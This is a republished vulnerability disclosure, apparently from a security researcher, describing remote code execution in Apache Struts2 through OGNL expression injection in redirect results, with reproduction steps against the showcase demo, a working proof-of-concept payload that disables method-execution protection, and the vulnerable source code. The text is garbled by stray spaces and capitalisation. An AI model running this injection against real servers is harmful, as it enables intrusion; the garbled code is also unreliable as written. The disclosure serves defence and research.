Apache struts2 remote code execute

Source: Internet
Author: User

This method was published at xcon2012 xcon.xfocus.net.
Kxlzx http://www.inbreak.net

Flow this and step by step:

1, down load struts2-showcase from struts.apache.org
2, run struts2-showcase.
3. open url:
Http: // localhost: 8080/struts2-showcase/skill/edit. action? SkillName = SPRIN
G-DEV
4, write skill name to % {expr} for example:
% {(# _ MemberAccess ['allowstaticmethodaccess'] = true) (# context ['xwork. Metho
DAccessor. denyMethodExecution '] = false) (# hackedbykxlzx = @ org. apache. struts
2. ServletActionContext @ getResponse (). getWriter (), # hackedbykxlzx. println (
'Hacked by kxlzx'), # hackedbykxlzx. close ())}
5, submit and all will done.

This method:
Public static String translateVariables (String expression, ValueStack stack ){
Return translateVariables (new char [] {'$', '%'}, expression, stack, String. class, null). toString ();
}
Look two char "$" and "%"

And
This method: www.2cto.com

Public static Object translateVariables (char [] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount ){
// Deal with the "pure" expressions first!
// Expression = expression. trim ();
Object result = expression;
For (char open: openChars ){
.........
While (true ){
..........
String var = expression. substring (start + 2, end );

Object o = stack. findValue (var, asType );
............
If user input is "% {expr }"
This will execute ognl like:
$ {% {Expr }}

This need devloper code like:

<Action name = "redirect" class = "net. inbreak. RedirectAction">
<Result name = "redirect" type = "redirect" >$ {redirectUrl} </result>
</Action>

Or like:
<Action name = "save" class = "org. apache. struts2.showcase. action. SkillAction" method = "save">
<Result type = "redirect"> edit. action? SkillName =$ {currentSkill. name} </result>
</Action>

----------
Kxlzx at alibaba security team.
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.